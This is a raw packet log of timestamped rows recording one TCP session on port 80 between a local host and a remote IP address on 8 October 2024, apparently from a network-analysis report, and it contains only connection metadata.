Oct 8, 2024 02:45:31.311110020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.512697935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.512741089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.512789965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.512813091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.512813091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.512823105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.512857914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.512883902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.512883902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.512908936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.512913942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.512948036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.512978077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.512980938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513010979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513015032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513034105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513065100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513139963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513173103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513197899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513209105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513223886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513241053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513267994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513288021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513293028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513324976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513345003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513359070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513370037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513421059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513432026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513464928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513495922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513495922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513519049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513528109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513550043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513567924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513578892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513619900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513756990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513788939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513818026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513819933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513854027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513864040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513864040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513885975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513895035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513917923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513928890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513950109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513967037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.513981104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.513994932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514014959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514039040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514059067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514103889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514134884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514153004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514166117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514179945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514199018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514219999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514230967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514245987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514281034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514448881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514481068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514497995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514513016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514524937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514543056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514569998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514575958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514604092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514607906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514628887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514641047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514661074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514673948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514688969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514707088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514719963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514739037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514750004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514770985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514782906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514805079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514816999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514837027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514848948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514873981 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.514885902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.514919043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515093088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515125990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515145063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515156984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515172005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515191078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515206099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515223980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515235901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515256882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515268087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515290022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515300989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515321970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515335083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515356064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515368938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515413046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515413046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515485048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515676975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515711069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515727997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515743971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515763998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515775919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515784979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515814066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515822887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515846014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515881062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515882015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515901089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515916109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515930891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515949011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515965939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.515980959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.515991926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516012907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516025066 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516047001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516060114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516079903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516092062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516112089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516124010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516144991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516170025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516179085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516192913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516211987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516226053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516243935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516262054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516278028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516288996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516321898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516550064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516582012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516613960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516628981 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516638041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516661882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516669989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516693115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516705036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516726017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516737938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516757965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516769886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516789913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516802073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516823053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516854048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516855955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516879082 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516885996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516900063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516918898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516930103 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516951084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516958952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.516983986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.516994953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517018080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517026901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517050982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517065048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517083883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517117023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517132044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517148972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517160892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517203093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517549038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517581940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517600060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517612934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517626047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517647028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517657042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517679930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517694950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517712116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517733097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517745972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517755985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517781973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517792940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517813921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517826080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517848015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517858982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517879963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517889977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517927885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517940044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517961979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.517975092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.517995119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.518006086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.518028021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.518038034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.518070936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.518078089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.518119097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.603447914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.603537083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.603606939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.603645086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.603647947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.603698015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.603729963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.603760004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.603771925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.603789091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.603806973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.603847027 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.603857040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.603872061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.603889942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.603921890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.603929043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.603950024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.603954077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.603981018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604005098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604022026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604038954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604054928 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604072094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604095936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604104042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604135990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604161024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604167938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604202032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604203939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604229927 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604234934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604258060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604268074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604306936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604322910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604352951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604402065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604434013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604448080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604465961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604479074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604495049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604518890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604526997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604542971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604561090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604573965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604594946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604608059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604629040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604640007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604661942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604675055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604703903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604707956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604732990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604753017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604763985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604773998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604796886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604811907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604830027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604842901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604863882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.604872942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.604907990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605083942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605115891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605138063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605148077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605165958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605180979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605192900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605212927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605225086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605245113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605257034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605278015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605289936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605312109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605323076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605345011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605360985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605377913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605387926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605411053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605422020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605443001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605453014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605475903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605487108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605509043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605519056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605557919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605719090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605751038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605766058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605782986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605794907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605823040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605833054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605854988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605868101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605886936 CEST	80	51293	95.164.90.97	192.168.2.4
